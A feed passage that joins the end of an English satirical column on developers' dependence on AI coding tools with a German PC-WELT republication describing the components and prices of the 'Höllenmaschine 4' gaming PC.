<p class="wp-block-paragraph">It wrote <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a> scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.</p>



<p class="wp-block-paragraph">We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.</p>



<p class="wp-block-paragraph">We understand that management is also using AI to manage the project.</p>



<h2 class="wp-block-heading">Our tests are uncomfortably incestuous</h2>



<p class="wp-block-paragraph">Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See <a href="https://grugbrain.dev/#grug-on-testing">The Grug Brained Developer</a> in this regard.)</p>



<p class="wp-block-paragraph">But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?</p>



<p class="wp-block-paragraph">We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked <em>the exact same AI</em> to write the test suite to validate the code it just dreamed up.</p>



<p class="wp-block-paragraph">It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.</p>



<p class="wp-block-paragraph">And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.</p>



<h2 class="wp-block-heading">We pass off the AI’s architecture as strategy</h2>



<p class="wp-block-paragraph">AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.</p>



<p class="wp-block-paragraph">When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.</p>



<p class="wp-block-paragraph">What we don’t mention is that we spent exactly four seconds generating it.</p>



<p class="wp-block-paragraph">Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.</p>



<h2 class="wp-block-heading">We’re addicted to vibe coding (but only in secret)</h2>



<p class="wp-block-paragraph">We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.</p>



<p class="wp-block-paragraph">But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working <a href="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny" data-type="link" data-id="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny">Ultima V</a> clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.</p>



<p class="wp-block-paragraph">The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. </p>



<h2 class="wp-block-heading">We beat the problem into submission with prompts</h2>



<p class="wp-block-paragraph">Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">This problem is not fixed. Look at it closely. The error is right here.</p>
</blockquote>



<p class="wp-block-paragraph">To the desperate: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">We have been working on this same problem for hours now!</p>
</blockquote>



<p class="wp-block-paragraph">To the pathetic: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Can’t you find a different approach to try?!</p>
</blockquote>



<p class="wp-block-paragraph">The astonishing part? It often works.</p>



<p class="wp-block-paragraph">But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">What we have here is a failure to communicate! </p>
</blockquote>



<p class="wp-block-paragraph">We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.</p>



<p class="wp-block-paragraph">In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.</p>



<h2 class="wp-block-heading">A blacker box</h2>



<p class="wp-block-paragraph">The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.</p>



<p class="wp-block-paragraph">And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. </p>



<p class="wp-block-paragraph">It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.</p>
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<title><![CDATA[Vier Grafikkarten, sechs CPU-Kerne: So sah vor 14 Jahren die Höllenmaschine 4 aus]]></title>
<description><![CDATA[Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen...]]></description>
<link>https://tsecurity.de/de/3685665/it-nachrichten/vier-grafikkarten-sechs-cpu-kerne-so-sah-vor-14-jahren-die-hoellenmaschine-4-aus/</link>
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<pubDate>Wed, 22 Jul 2026 10:34:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der <a href="https://web.archive.org/" target="_blank" rel="noreferrer noopener">Wayback Machine des Internet Archive</a> das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.</p>



<p>Hier geht es direkt zum <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro</a>. Bestens informiert bleiben Sie mit unserem <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">HMX-6-Newsletter</a> – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der vierten Höllenmaschine:</p>



<p>Die PC-WELT Höllenmaschine 4 repräsentiert den Stand der PC-Technik. Die beste Hard- und Software ist gerade gut genug für den ultimativen Rechnertraum. Auch die vierte Generation im Wert von 13.333 Euro können Sie wieder gewinnen.</p>



<p>Das Rückgrat des 22 Kilogramm schweren <a href="https://web.archive.org/web/20120907053335/http://www.coolermaster.de/product.php?category_id=18&amp;product_id=6767">Cooler Master Cosmos II</a> bildet eine massive Stahlkonstruktion. Zu den Besonderheiten des 300 Euro teuren Big-Towers gehören eine zentrale Lüftersteuerung, Kabelmanagement, Flügeltüren und massig Platz: Das Gehäuse besitzt allein elf Laufwerksschächte für 3,5-Zoll-Festplatten und nimmt Hauptplatinen bis zum E-ATX-Formfaktor auf.</p>



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<h2 class="wp-block-heading toc">Airbrush der Höllenmaschine 4</h2>



<p>Für das lodernde Airbrush und das seitliche Sichtfenster der Höllenmaschine 4 zeichnen sich die Casemodder Martin und Stefan Blass verantwortlich. Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Auf ihrer <a href="https://web.archive.org/web/20120707010431/http://babetech.de/">Website</a> können Sie sich von den Fähigkeiten der kunstfertigen Casemodder überzeugen. Das preisgekrönte Brüderpaar kümmert sich nicht nur um das teuflische Airbrush und bauliche Veränderungen wie das seitliche Sichtfenster, sondern zeichnet sich auch für die Innenbeleuchtung der Gehäusemodifikation verantwortlich.</p>



<p>Die Gebrüder haben für den schönen Schein einen <a href="https://web.archive.org/web/20100211155227/http://www.leds-and-more.de/catalog/product_info.php?products_id=1128">Multidimmer von Richter</a> eingebaut, der LED-Ketten im Gehäuseinnenraum und im Bodenbereich ansteuert. Über die beiliegende Fernbedienung wählen Sie zwischen acht verschiedenen Grundfarben aus, regulieren die Helligkeit und definieren individuelle Farbwechsel.</p>



<p>Bei der Asus Rampage IV Extreme paart sich eine erlesene Hauptplatinen-Ausstattung mit einem detailverliebten UEFI-Bios, das keine Wünsche offen lässt: Die Sockel-LGA2011-Hauptplatine basiert auf dem Intel-Chipsatz X79. Das UEFI-Motherboard besitzt je acht Speicherbänke, SATA- und USB-Ports sowie fünfmal 16x PCI-Express 3.0. Zur Sonderausstattung gehören CMOS-, Start- und Reset-Knopf, Diagnose-LED, Bluetooth-Unterstützung und umfassende Übertaktungsoptionen, die sich zudem in Echtzeit überwachen lassen.</p>



<h2 class="wp-block-heading toc">Prozessor: die schnellste Desktop-CPU der Welt</h2>



<p>Der <a href="https://web.archive.org/web/20130510132630/http://www.pcwelt.de/produkte/CPU-mit-Rekordtempo-Intel-Core-i7-3960X-Extreme-Edition-im-Test-3907870.html">Intel Core i7-3960X</a> ist der aktuell schnellste Desktop-Prozessor im Test. Das Intel-Flaggschiff besitzt sechs CPU-Kerne und arbeitet dank Hyperthreading als virtueller 12‑Kern‑Prozessor. Der Werkstakt liegt bei 3,3 Gigahertz, in der Höllenmaschine 4 läuft der Core i7 mit 4 GHz. Berechnungen puffert der 3960X in einem dreistufigen Cache-System: So ist die dritte Cache-Stufe, die alle Prozessorkerne dynamisch nutzen können, 15 MB mächtig. Auf die erste und zweite Cache-Stufe mit 64 beziehungsweise 256 KB darf hingegen jeder CPU-Kern exklusiv zugreifen.</p>



<p>Eine der wichtigsten exklusiven Funktionen der LGA2011-Baureihe ist der integrierte Speicher-Controller, der vier DDR3-Kanäle gleichzeitig ansteuert. Ebenfalls in der CPU verbaut sind 40 PCI-Express-3.0-Kanäle. Zur weiteren Ausstattung gehören der Schutz vor Angriffen durch einen Puffer-Überlauf (XD-Bit), zusätzliche Befehlssätze wie SSE 4.2 und das Advanced Encryption Standard Instruction Set (AES IS) sowie die Advanced Vector Extensions (AVX). Zudem unterstützt der Prozessor die Virtualisierungs-Technik Intel VT sowie 32- und 64-Bit-Betriebssysteme – so lassen sich etwa virtuelle Workstations mit unterschiedlichen Betriebssystemen einrichten.</p>



<p>Die Wasserkühlung Cooler Master Eisberg 240L Prestige gibt die CPU-Abwärme über einen Dual-Radiator an die Außenwelt ab, der zwei 120-Millimeter-Lüfter beherbergt. Das Rotationstempo der mit knapp 21 dB(A) sehr leisen Lüfter liegt bei 1600 Umdrehungen pro Minute. Im Microchannel-Kühlblock arbeitet deutsche Pumpentechnik, die bis zu 400 Liter pro Stunde durch das Kühlsystem schleudert und für mindestens 50 000 Betriebsstunden ausgelegt ist. Der keramikbeschichtete Pumpenantrieb dreht sich mit bis zu 3600 Rotationen pro Minute.</p>



<h2 class="wp-block-heading toc">Grafik: 2x ASUS GTX690-4GD5 im Quad-SLI</h2>



<p>Um die Grafikdarstellung kümmert sich in der Höllenmaschine 4 die derzeit leistungsfähigste Grafikkarte der Welt, die <a href="https://web.archive.org/web/20121015164916/http://www.asus.com/Graphics_Cards/NVIDIA_Series/GTX6904GD5/">ASUS GTX690-4GD5</a>. Kostenpunkt: knapp 1000 Euro pro Stück. Die Karte beherbergt mit der <a href="https://web.archive.org/web/20121006082219/http://www.pcwelt.de/produkte/Grafikkarte-Nvidia-Geforce-GTX-690-im-Test-5780074.html">Nvidia Geforce GTX 690</a> gleich zwei 915 Megahertz schnelle Grafikprozessoren, die gemeinsam die 3D-Berechnung übernehmen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a22aec"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/ASUS-GTX690-4GD5-im-Quad-SLI.jpg?quality=50&amp;strip=all" alt="2x ASUS GTX690-4GD5 im Quad-SLI in der Höllenmaschine 4" class="wp-image-3188925" width="900" height="608" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Quad-SLI in der Höllenmaschine 4 mit zwei ASUS GTX690-4GD5</figcaption></figure><p class="imageCredit">PC-WELT</p></div>



<p>In der Höllenmaschine 4 sind gleich zwei der Asus-Doppeldecker, die über eine SLI-Brücke (Scalable Link Interface) verbunden sind. So arbeiten insgesamt vier Grafikprozessoren parallel im Quad-SLI-Modus. In der Summe stehen damit die Rechen-Power von 6144 Shader- und 512 Textur-Einheiten sowie 128 Rasteroperatoren bereit. Dabei kann der Karten-Verbund auf 4 Gigabyte GDDR5-Videospeicher zugreifen, der mit einem effektiven Datentakt von 6000 MHz arbeitet. Jede Grafikkarte besitzt mit einem Mini-Displayport und dreimal DVI vier digitale Ausgänge.</p>



<h2 class="wp-block-heading toc">Ausstattung der Höllenmaschine 4 im Überblick</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><th>Komponente</th><th>Modell</th><th>Preis (Euro) <strong>am 31.8.2012</strong></th></tr><tr><td>Gehäuse</td><td>Casemod auf Basis des Cooler Master Cosmos II</td><td>1413</td></tr><tr><td>Hauptplatine</td><td>Asus Rampage IV Extreme, Intel X79, LGA2011</td><td>350</td></tr><tr><td>Prozessor</td><td>Intel Core i7-3960X, 3,30 GHz, 6 Kerne, 12 Theads</td><td>900</td></tr><tr><td>CPU-Kühlung</td><td>Cooler Master Eisberg 240L Prestige</td><td>180</td></tr><tr><td>Arbeitsspeicher</td><td>8 x 8 GB Adata XPG X Series PC3-17066U</td><td>880</td></tr><tr><td>Grafikkarte</td><td>2 x Asus GTX690-4GD5, Nvidia Geforce GTX 690</td><td>2000</td></tr><tr><td>Bildschirme</td><td>3 x ASUS VG278H, 27 Zoll, 3D-LED-LCD,</td><td>1550</td></tr><tr><td>SSD (System)</td><td>OCZ RevoDrive 3 X2 480GB, PCI-Express, 4fach Raid-0</td><td>650</td></tr><tr><td>Festplatten (Daten intern)</td><td>4 x Western Digital VelociRaptor 1000GB, Raid-5</td><td>1000</td></tr><tr><td>Festplatten (Daten extern)</td><td>2 x Western Digital Caviar Green 3000GB</td><td>300</td></tr><tr><td>Blu-ray-Brenner</td><td>Asus BW-12B1ST, SATA</td><td>100</td></tr><tr><td>Netzteil</td><td>Cooler Master Silent Pro Hybrid 1300W</td><td>250</td></tr><tr><td>Eingabegerät</td><td>Logitech G9x Laser Mouse und G19 Gaming Keyboard</td><td>200</td></tr><tr><td>Lautsprecher-Set</td><td>Logitech Z906, 5.1 System</td><td>250</td></tr><tr><td>Headset</td><td>Logitech G930 Wireless Gaming Headset</td><td>150</td></tr><tr><td>Betriebssystem</td><td>Microsoft Windows 7 Ultimate 64 Bit</td><td>160</td></tr><tr><td>Multimedia-Paket</td><td>Adobe Creative Suite 6 Design &amp; Web Premium</td><td>2000</td></tr><tr><td>Spiele-Paket</td><td>18 Top-Titel</td><td>600</td></tr><tr><td>Office-Paket</td><td>Microsoft Office Professional 2010</td><td>400</td></tr></tbody></table></figure>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a2346d"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/pc-welt-hoellenmaschine-4-von-links-mit-offener-fluegeltuer.jpg?quality=50&amp;strip=all" alt="Höllenmaschine 4 mit geöffneter Flügeltür" class="wp-image-3188918" width="1024" height="768" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">PC-WELT</p></div>



<h2 class="wp-block-heading toc">Monitore: PC-Spiele in 3D auf 3 Panels gleichzeitig</h2>



<p>Der Höllenmaschine 4 stellen wir den 27-Zoll-Bildschirm <a href="https://web.archive.org/web/20120620023231if_/http://www.asus.de/Display/LCD_Monitors/VG278H">ASUS VG278H</a> zur Seite. Die physikalische Auflösung des 120-Hertz-Monitors beträgt 1920 x1080 Pixel, die Reaktionszeit 2 Millisekunden. Die LED-Hintergrundbeleuchtung erzielt eine Helligkeit von 300 cd/m2 und unterstützt die Lightboost-Technik und damit natürlich auch <a href="https://web.archive.org/web/20120905172245/http://www.pcwelt.de/produkte/Test-Nvidia-3D-Vision-2-4158397.html">Nvidia 3D Vision 2</a> – eine Technologie, die das Spielen in der dritten Dimension möglich macht. Im Lieferumfang des Asus-LCDs ist das “Nvidia 3D Vision”-Set aus Infrarot-Sender (integriert im Bildschirmrahmen) und Shutter-Brille enthalten. Der VG278H bietet mit DVI, HDMI und D-Sub drei Videoeingänge sowie einen Kopfhöreranschluss.</p>



<p>Ein großer 27-Zoll-Monitor ist gut, doch drei ASUS VG278H sind besser. Die gebündelte Auflösung des Bildschirm-Trios von 5760 x 1080 Pixeln erlaubt einen Desktop, auf dem sich bequem arbeiten lässt: Da kann man zahlreiche Fenster in ihrer vollen Größe geöffnet lassen, und behält dennoch den Überblick. Interessant ist diese große Arbeitsumgebung auch für Grafiker und Video-Bearbeiter, die dadurch gleich mehrere Projekte am Laufen halten, ohne eines schließen zu müssen.</p>



<p>Ernsthaften PC-Spielern kann dagegen die Bildschirmgröße nicht groß genug sein – denn sie bedeutet größere Übersicht und ein realistischeres Spielerlebnis. So füllt etwa die wunderschöne Landschaft in Skyrim die volle Breite der drei Monitore aus und wirkt dadurch schon fast wie ein echter Horizont, der Lust auf das Erkunden macht. Dank der brachialen Leistung der Höllenmaschine 4 und <a href="https://web.archive.org/web/20120825211507/http://www.nvidia.de/object/3d-vision-surround-requirements-de.html">Nvidia 3D Vision Surround</a> geht das auch flüssig in stereoskopischem 3D.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<h2 class="wp-block-heading toc">Arbeitsspeicher: Quad-Channel mit 64 Gigabyte</h2>



<p>Speicher kann man nie genug haben! Die acht Module Adata XPG X Series PC3-17066U mit jeweils 8 Gigabyte Kapazität steuert der Controller in der Intel-CPU im Vierkanal-Modus an. Die Module laufen mit 10-11-11-30er-Zugriffszeiten. Der mit dem Extreme Memory Profile (XMP) effektiv 2133 Megahertz schnelle Arbeitsspeicher beschert der Höllenmaschine 4 eine Speicherbandbreite von über 45 Gigabyte pro Sekunde. Da macht Virtualisierung so richtig Spaß.</p>



<h2 class="wp-block-heading toc">PCI-Express-SSD, 4 WD VelociRaptor und 4 WD Caviar Green </h2>



<p>Das Betriebssystem und alle Programme dürfen auf der Solid State Drive OCZ RevoDrive 3 X2 480GB Platz nehmen. Die Flashspeicher-Festplatte arbeitet mit vier Sandforce-SF-2281-Controllern intern als Raid-0-Verbund. Dadurch erreicht die SSD eine Datentransferrate von in der Spitze fast 1400 Megabyte pro Sekunde und einen Befehlsdurchsatz von bis zu 230.000 IOPS beim zufälligen Schreiben von 4-KB-Blöcken. Eine herkömmliche SATA-Schnittstelle würde das OCZ-Modell ausbremsen, deswegen setzt das RevoDrive auf einen PCI-Express-Anschluss.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a23f8a"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/OCZ-RevoDrive-3-X2.jpg?quality=50&amp;strip=all" alt="OCZ RevoDrive 3 X2: SSD der Höllenmaschine 4" class="wp-image-3188932" width="1024" height="725" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Die erste SSD in einer Höllenmaschine: OCZ RevoDrive 3 X2</figcaption></figure><p class="imageCredit">OCZ/Kioxia </p></div>



<p>Das interne Backup übernimmt ein RAID-5‑Verbund aus vier 1-Terabyte-Festplatten. Dabei kommt das derzeit schnellste 3,5-Zoll-Laufwerk im Test zum Einsatz, die <a href="https://web.archive.org/web/20121006075341/http://www.pcwelt.de/produkte/Test-Western-Digital-VelociRaptor-WD1000D-Festplatte-5763554.html">Western Digital VelociRaptor WD1000DHTZ</a>. Die VelociRaptor rotiert mit 10.000 Umdrehungen pro Minute und puffert Zugriffe in einem 64 MB großen Cache. Die maximale Datenrate der Festplatte liegt bei 210 Megabyte pro Sekunde, die durchschnittliche Zugriffszeit bei 3,7 Millisekunden. Als RAID-5‑Verbund kommt das Platten-Quartett auf bis zu 560 Megabyte pro Sekunde und stellt dabei noch knapp 2,7 Gigabyte nutzbare Kapazität zur Verfügung.</p>



<p>Die Aufgabe des klassischen Massenspeichers für umfangreiche Foto-, Musik- und Videosammlungen übernehmen die beiden 3,5-Zoll-Festplatten <a href="https://web.archive.org/web/20120922021349/http://www.pcwelt.de/produkte/Test-Western-Digital-Caviar-Green-WD30EZRX-6091202.html">Western Digital Caviar Green 3000GB WD30EZRX</a>. Die besonders stromsparenden Laufwerke stecken in den zwei abschließbaren Hot-Swap-Schächten der Höllenmaschine 4. So lassen sich schnell und bequem knapp 5,5 Terabyte nutzbarer Speicherplatz im laufenden Betrieb an- und abstöpseln oder auch mal unkompliziert von A nach B tragen.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<h2 class="wp-block-heading toc">Stromversorgung: bis zu 105 Ampere auf der 12-Volt-Schiene</h2>



<p>Keine Kompromisse machen wir bei der Stromversorgung der Höllenmaschine 4. Das <a href="https://web.archive.org/web/20121005045440/http://coolermaster.de/product.php?product_id=6744" target="_blank" rel="noreferrer noopener">Cooler Master Silent Pro Hybrid 1300W</a> bietet genügend Reserven, um alle Komponenten zuverlässig mit Energie zu versorgen. Das vollständig modulare Netzteil stellt auf der 12-Volt-Schiene in der Spitze bis zu 105 Ampere bereit und federt damit auch locker die Lastspitzen der stromhungrigen Grafikkarten ab.</p>



<p>Aufgrund der “<a href="https://web.archive.org/web/20121005072013/http://www.plugloadsolutions.com/80PlusPowerSupplies.aspx">80 PLUS Gold</a>“-Zertifizierung arbeitet das ATX-2.3-Kraftpaket mit einem Wirkungsgrad von über 90 Prozent trotzdem sehr energieeffizient. Dank der semipassiven Kühlung ist das 1300-Watt-Netzteil aber auch flüsterleise. Zudem erlaubt die im Lieferumfang enthaltene 5,25-Zoll-Lüftersteuerung neben dem automatischen Modus ein stufenlos regulierbares Drehtempo für den 130-Millimeter-Lüfter – bei harter Dauerbelastung drehen Sie den Regler einfach voll auf.</p>



<p>Um optische Massenspeicher kümmert sich der Blu-ray-Brenner <a href="https://web.archive.org/web/20120905095420if_/http://www.asus.de/Optical_Storage/Internal_Bluray_Drive/BW12B1ST/">Asus BW-12B1ST</a>. Das Multi-Norm-Laufwerk versteht sich aber auch auf alle gängigen CD- und DVD-Formate. Bei maximal 12-fachem Schreibtempo füllt das Asus-Modell einen einlagigen 25-GB-BR-Rohling in rund 11 Minuten. BD-REs beschreibt das SATA-Laufwerk mit 2-fachem Tempo, Blu-ray-Medien liest er mit 8-facher Geschwindigkeit. Im Lieferumfang des Asus BW-12B1ST ist Software für das Backup, Brennen und Abspielen von Blu-rays enthalten.</p>



<h2 class="wp-block-heading toc">Peripherie: Luxus-Eingabegeräte und 5.1-Raumklang</h2>



<p>Die <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20121027093942/http://www.logitech.com/de-de/mice-pointers/mice/5092">Logitech G9x Laser Mouse</a> kommt mit einem 4-Wege-Scrollrad und löst mit bis zu 5700 dpi auf. Die USB-Maus besitzt eine anpassbare Griffschale sowie ein bis auf 28 Gramm aufrüstbares Gewichtsmagazin. Der interne Speicher sichert bis zu fünf Profile für individuelle Tastatur-Makros und Abtastraten.</p>



<p>Das <a href="https://logitech-de.a58n.net/c/230135/592382/9750?subid1=rss&amp;u=https://web.archive.org/web/20121007015940/http://www.logitech.com/de-de/keyboards/keyboards/4956">Logitech G19 Gaming Keyboard</a> besitzt ein integriertes Farb-LCD, das in Echtzeit Spiele-Informationen wie die Server-IP-Adresse oder den Punktestand für über 35 Titel anzeigt. Die G19 erlaubt verschiedene Beleuchtungsfarben und hat 12 voll programmierbare G-Tasten sowie Sondertasten für den schnellen Multimedia-Zugriff. Das Logitech-Modell fungiert aber auch als aktiver 2-fach-USB-Hub und überrascht mit einer Kabelführung auf der Unterseite für Maus und Headset.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a60804a247c5"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Logitech-G19-Gaming-Keyboard.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Logitech G19 Gaming Keyboard" class="wp-image-3190427" width="1200" height="816" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
